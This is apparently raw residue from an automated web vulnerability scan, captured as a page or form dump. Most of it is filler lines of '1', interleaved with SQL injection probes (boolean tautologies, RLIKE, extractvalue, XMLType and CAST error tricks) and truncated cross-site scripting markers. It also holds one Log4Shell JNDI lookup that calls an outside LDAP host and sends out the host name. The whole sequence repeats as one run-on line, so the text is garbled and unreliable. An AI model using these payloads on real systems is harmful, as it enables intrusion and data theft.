1

1

1

1

1

1

1

1

1ettssxs790

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1">

1'

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1ettssxs790"x

1ettssxs790alertx

1ettssxs790x

1ettssxs790

1é??'

1ettssxs790>x

1

1ettssxs790x

1

1

1

1

1

1

1ettssxs790scriptx

1ettssxs790x

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1ettssxs790

1

1

1

1

1ettssxs790`x

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1ettssxs790/x

1

1

1

1ettssxs790x

1

1

1

1

1ettssxs79087856x

1

1ettssxs790x

1

1

1

1ettssxs790ipt>x

1

1ettssxs790ipt>x

1

1ettssxs790%0Dx

1

1ettssxs790

1

1ettssxs790%25%33%31x

1

1

1

1

1

1

1??'

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1"

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1@@tmXpP

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1 anD 1982=1982

1

1

1

1

1

1

1

1

1 anD 4902=2046

1

1

1

1

1

1

1

1

1

1

1

1

1

reftest574

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1 anD 4686=2447-- x

1 anD 0223=0223-- x

1

1

1

1

1

1

1

1

1

1

1

1

1%' anD 4639=4639 anD '1%'='1

1%' anD 3976=6063 anD '1%'='1

1

1

1

1

1

1

1

1

1

1

1

1' anD 7928=7928 anD '1'='1

1' anD 4796=9907 anD '1'='1

1

1

1

1

1

1

1

1

1' anD 3901=3901 -- x

1

1' anD 1911=8455 -- x

1

1

1

1

1

1

1

1

1

1') anD 4784=5341 anD ('1'='1

1') anD 7539=7539 anD ('1'='1

1

1

1

1

1

1

1

1

1

1

1

1

1

1') anD 0422=5152 -- x

1

1

1

1

1') anD 5914=5914 -- x

1

1

1

1

1

1

1

1

1

1%') anD 4128=2547 anD ('%'='

1

1%') anD 8033=8033 anD ('%'='

1

1

1

1

1

1

1

${jndi:ldap://0x557.wang:11389/v96ai3wj/${hostName

1

1%') anD 8349=8349 -- x

1%') anD 3714=5752 -- x

1

1

1

1

1

1

1

1

1

1'anD(4335=4335)anD'1'='1

1

1

1

1

1'anD(0741=1610)anD'1'='1

1

1

1

1

1

1

1

1

1

1 oR 1214=0034

1

1

1

1

1

1

1

1 oR 7621=7621

1

1

1

1

1

1

1

1 oR 4470=2895-- x

1

1 oR 0522=0522-- x

1

1

1

1

1

1

1

1

1

1

1' oR 2660=2660 anD '1'='1

1

1' oR 1021=4007 anD '1'='1

1

1

1

1

1

1

1

1

1

1%' oR 9534=9534 anD '1%'='1

1

1

1%' oR 9008=1816 anD '1%'='1

1

188978973

1

1

1

1

1

1

1

1' oR 2950=3453 -- x

1'" 5603=yfje(617) 3a5=b58

1

1

1

1

1

1

1

1' oR 5229=5229 -- x

1

1

1

1

1

1

1

1') oR 2888=1733 anD ('1'='1

1') oR 2082=2082 anD ('1'='1

1

1

1

1

1

1

1

1

1') oR 3557=3586 -- x

1') oR 1181=1181 -- x

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1%') oR 7326=7326 anD ('%'='

1%') oR 4438=9615 anD ('%'='

1

1

1

1

1

1

1%') oR 6161=6727 -- x

1

1

1%') oR 7532=7532 -- x

1

1

1

1

1

1

1

1

1

1'or(6813=4688)anD'1'='1

1'or(7108=7108)anD'1'='1

1

1

1

1

1

1' RLIKE (SELECT (CASE WHEN (7257=7101) THEN 1 ELS

1' RLIKE (SELECT (CASE WHEN (2043=2043) THEN 1 ELS

1

1

1

1

1

1

1

1' anD exp(955)=exp(955) anD '1'='1

1

1

1' anD exp(202)=exp(202) anD '1'='1

1

1

1

1

1

1

1 anD 0=extractvalue(1,char(78))

1 anD 0=extractvalue(1,char(13))

1

1

1

1

1

1

1

1

1' anD CAST(CHR(99)::text AS NUMERIC) >= 0 anD '1'

1' anD CAST(CHR(57)::text AS NUMERIC) >= 0 anD '1'

1

1

1

1

1

1

1

1

1' anD CONVERT(int,CHAR(77))>=0 anD '1'='1

1' anD CONVERT(int,CHAR(54))>=0 anD '1'='1

1

1

1

1

1

1

1

1

1' anD (SELECT upper(XMLType(chr(60)||chr(26)||chr

1

1

1

1' anD (SELECT upper(XMLType(chr(60)||chr(84)||chr

1

1

1

1

1

1

1

1" anD 6064=6064 anD "1"="1

1" anD 0494=3368 anD "1"="1

1

1

1

1

1" anD 9327=9327 -- x

1

1

1" anD 5378=2926 -- x

1

1

1

1

1

1") anD 6726=3377 -- x

1") anD 5340=5340 -- x

1

1

1

1

1

1/0

1

1

1

1/1

1

1

1

1

1

1

1/(497-492-5)/'1

1/(497-492-4)/'1

1

1

1

1

1

1

1

1 anD 182=187-4

1

1 anD 894=899-5

1

1

1

1

1

(SELECT (CASE WHEN (4280=4280) THEN 1 ELSE (SELECT

1

1

(SELECT (CASE WHEN (1483=5146) THEN 1 ELSE (SELECT

1

1

1

1

1

1

exp(861)

1

1

exp(285)

1??' oR 1758=3553 -- x

1??' oR 1944=1944 -- x

1

1

REGEXP_REPLACE('12','.','',1,1,'i')

1

1

1

1

1

REGEXP_REPLACE('12','.','',1,1,'h')

1

1

1

1

1

1

1

1

1

1

1

1

REGEXP_REPLACE('12','.','',1,1,'c')

1

REGEXP_REPLACE('12','.','',1,1,'n')

REGEXP_REPLACE('12','.','',1,1,'m')

REGEXP_REPLACE('12','.','',1,1,'b')

REGEXP_REPLACE('12','.','',1,1,'l')

REGEXP_REPLACE('12','.','',1,1,'o')

1

1

1

1

-1

1

1

1

1

1

1

1

1

1

1

1

1

1 anD 4398=3069

1 anD 4492=4492

1

1

1

1

1

1

1 anD 8019=8019-- x

1 anD 6834=6147-- x

1

1

1

1

1

1

1

1

1

1%' anD 0831=0831 anD '1%'='1

1%' anD 2840=3256 anD '1%'='1

1

1

1

1

1

1

1

1

1' anD 6481=6481 anD '1'='1

1' anD 6942=4721 anD '1'='1

1

1

1

1' anD 9391=5330 -- x

1' anD 7320=7320 -- x

1

1

1

1

1

1

1

1

1

1') anD 7065=7065 anD ('1'='1

1') anD 0340=3470 anD ('1'='1

1

1

1

1

1

1

1

1

1

1') anD 7582=7582 -- x

1') anD 7625=7137 -- x

1

1

1

1

1

1

1%') anD 1941=0046 anD ('%'='

1%') anD 0084=0084 anD ('%'='

1

1

1

1

1

1

1%') anD 5156=5156 -- x

1%') anD 2732=5759 -- x

1

1

1

1

1

1'

1

1

1

1sexttss948

1

1

1

1

1

1

1

1

1

1

1

1

1

1é??'

1

1

1

1">

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1??'

1

1

1

1

1

1

1sexttss948

1sexttss948/x

1sexttss948x

1sexttss948x

1sexttss948x

1sexttss948x

1sexttss948x

1sexttss948x

1sexttss948x

1sexttss948x

1sexttss948

1sexttss948%0Dx

1sexttss948ipt>x

1sexttss948x

1sexttss948%25%33%31x

1sexttss948ipt>x

1sexttss948

1sexttss948x

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1sexttss948>x

1

1

1

1sexttss948scriptx

1

1sexttss948x

1

1

1sexttss948 1' 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1ettssxs790"x 1ettssxs790alertx 1ettssxs790x 1ettssxs790 1é??' 1ettssxs790>x 1 1ettssxs790x 1 1 1 1 1 1 1ettssxs790scriptx 1ettssxs790x 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1ettssxs790 1 1 1 1 1ettssxs790`x 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1ettssxs790/x 1 1 1 1ettssxs790x 1 1 1 1 1ettssxs79087856x 1 1ettssxs790x 1 1 1 1ettssxs790ipt>x 1 1ettssxs790ipt>x 1 1ettssxs790%0Dx 1 1ettssxs790 1 1ettssxs790%25%33%31x 1 1 1 1 1 1 1??' 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1" 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1@@tmXpP 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 anD 1982=1982 1 1 1 1 1 1 1 1 1 anD 4902=2046 1 1 1 1 1 1 1 1 1 1 1 1 1 reftest574 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 anD 4686=2447-- x 1 anD 0223=0223-- x 1 1 1 1 1 1 1 1 1 1 1 1 1%' anD 4639=4639 anD '1%'='1 1%' anD 3976=6063 anD '1%'='1 1 1 1 1 1 1 1 1 1 1 1 1' anD 7928=7928 anD '1'='1 1' anD 4796=9907 anD '1'='1 1 1 1 1 1 1 1 1 1' anD 3901=3901 -- x 1 1' anD 1911=8455 -- x 1 1 1 1 1 1 1 1 1 1') anD 4784=5341 anD ('1'='1 1') anD 7539=7539 anD ('1'='1 1 1 1 1 1 1 1 1 1 1 1 1 1 1') anD 0422=5152 -- x 1 1 1 1 1') anD 5914=5914 -- x 1 1 1 1 1 1 1 1 1 1%') anD 4128=2547 anD ('%'=' 1 1%') anD 8033=8033 anD ('%'=' 1 1 1 1 1 1 1 ${jndi:ldap://0x557.wang:11389/v96ai3wj/${hostName 1 1%') anD 8349=8349 -- x 1%') anD 3714=5752 -- x 1 1 1 1 1 1 1 1 1 1'anD(4335=4335)anD'1'='1 1 1 1 1 1'anD(0741=1610)anD'1'='1 1 1 1 1 1 1 1 1 1 1 oR 1214=0034 1 1 1 1 1 1 1 1 oR 7621=7621 1 1 1 1 1 1 1 1 oR 4470=2895-- x 1 1 oR 0522=0522-- x 1 1 1 1 1 1 1 1 1 1 1' oR 2660=2660 anD '1'='1 1 1' oR 1021=4007 anD '1'='1 1 1 1 1 1 1 1 1 1 1%' oR 9534=9534 anD '1%'='1 1 1 1%' oR 9008=1816 anD '1%'='1 1 188978973 1 1 1 1 1 1 1 1' oR 2950=3453 -- x 1'" 5603=yfje(617) 3a5=b58 1 1 1 1 1 1 1 1' oR 5229=5229 -- x 1 1 1 1 1 1 1 1') oR 2888=1733 anD ('1'='1 1') oR 2082=2082 anD ('1'='1 1 1 1 1 1 1 1 1 1') oR 3557=3586 -- x 1') oR 1181=1181 -- x 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1%') oR 7326=7326 anD ('%'=' 1%') oR 4438=9615 anD ('%'=' 1 1 1 1 1 1 1%') oR 6161=6727 -- x 1 1 1%') oR 7532=7532 -- x 1 1 1 1 1 1 1 1 1 1'or(6813=4688)anD'1'='1 1'or(7108=7108)anD'1'='1 1 1 1 1 1 1' RLIKE (SELECT (CASE WHEN (7257=7101) THEN 1 ELS 1' RLIKE (SELECT (CASE WHEN (2043=2043) THEN 1 ELS 1 1 1 1 1 1 1 1' anD exp(955)=exp(955) anD '1'='1 1 1 1' anD exp(202)=exp(202) anD '1'='1 1 1 1 1 1 1 1 anD 0=extractvalue(1,char(78)) 1 anD 0=extractvalue(1,char(13)) 1 1 1 1 1 1 1 1 1' anD CAST(CHR(99)::text AS NUMERIC) >= 0 anD '1' 1' anD CAST(CHR(57)::text AS NUMERIC) >= 0 anD '1' 1 1 1 1 1 1 1 1 1' anD CONVERT(int,CHAR(77))>=0 anD '1'='1 1' anD CONVERT(int,CHAR(54))>=0 anD '1'='1 1 1 1 1 1 1 1 1 1' anD (SELECT upper(XMLType(chr(60)||chr(26)||chr 1 1 1 1' anD (SELECT upper(XMLType(chr(60)||chr(84)||chr 1 1 1 1 1 1 1 1" anD 6064=6064 anD "1"="1 1" anD 0494=3368 anD "1"="1 1 1 1 1 1" anD 9327=9327 -- x 1 1 1" anD 5378=2926 -- x 1 1 1 1 1 1") anD 6726=3377 -- x 1") anD 5340=5340 -- x 1 1 1 1 1 1/0 1 1 1 1/1 1 1 1 1 1 1 1/(497-492-5)/'1 1/(497-492-4)/'1 1 1 1 1 1 1 1 1 anD 182=187-4 1 1 anD 894=899-5 1 1 1 1 1 (SELECT (CASE WHEN (4280=4280) THEN 1 ELSE (SELECT 1 1 (SELECT (CASE WHEN (1483=5146) THEN 1 ELSE (SELECT 1 1 1 1 1 1 exp(861) 1 1 exp(285) 1??' oR 1758=3553 -- x 1??' oR 1944=1944 -- x 1 1 REGEXP_REPLACE('12','.','',1,1,'i') 1 1 1 1 1 REGEXP_REPLACE('12','.','',1,1,'h') 1 1 1 1 1 1 1 1 1 1 1 1 REGEXP_REPLACE('12','.','',1,1,'c') 1 REGEXP_REPLACE('12','.','',1,1,'n') REGEXP_REPLACE('12','.','',1,1,'m') REGEXP_REPLACE('12','.','',1,1,'b') REGEXP_REPLACE('12','.','',1,1,'l') REGEXP_REPLACE('12','.','',1,1,'o') 1 1 1 1 -1 1 1 1 1 1 1 1 1 1 1 1 1 1 anD 4398=3069 1 anD 4492=4492 1 1 1 1 1 1 1 anD 8019=8019-- x 1 anD 6834=6147-- x 1 1 1 1 1 1 1 1 1 1%' anD 0831=0831 anD '1%'='1 1%' anD 2840=3256 anD '1%'='1 1 1 1 1 1 1 1 1 1' anD 6481=6481 anD '1'='1 1' anD 6942=4721 anD '1'='1 1 1 1 1' anD 9391=5330 -- x 1' anD 7320=7320 -- x 1 1 1 1 1 1 1 1 1 1') anD 7065=7065 anD ('1'='1 1') anD 0340=3470 anD ('1'='1 1 1 1 1 1 1 1 1 1 1') anD 7582=7582 -- x 1') anD 7625=7137 -- x 1 1 1 1 1 1 1%') anD 1941=0046 anD ('%'=' 1%') anD 0084=0084 anD ('%'=' 1 1 1 1 1 1 1%') anD 5156=5156 -- x 1%') anD 2732=5759 -- x 1 1 1 1 1 1' 1 1 1 1sexttss948 1 1 1 1 1 1 1 1 1 1 1 1 1 1é??' 1 1 1 1"> 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1??' 1 1 1 1 1 1 1sexttss948 1sexttss948/x 1sexttss948x 1sexttss948x 1sexttss948x 1sexttss948x 1sexttss948x 1sexttss948x 1sexttss948x 1sexttss948x 1sexttss948 1sexttss948%0Dx 1sexttss948ipt>x 1sexttss948x 1sexttss948%25%33%31x 1sexttss948ipt>x 1sexttss948 1sexttss948x 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1sexttss948>x 1 1 1 1sexttss948scriptx 1 1sexttss948x 1 1 1sexttss948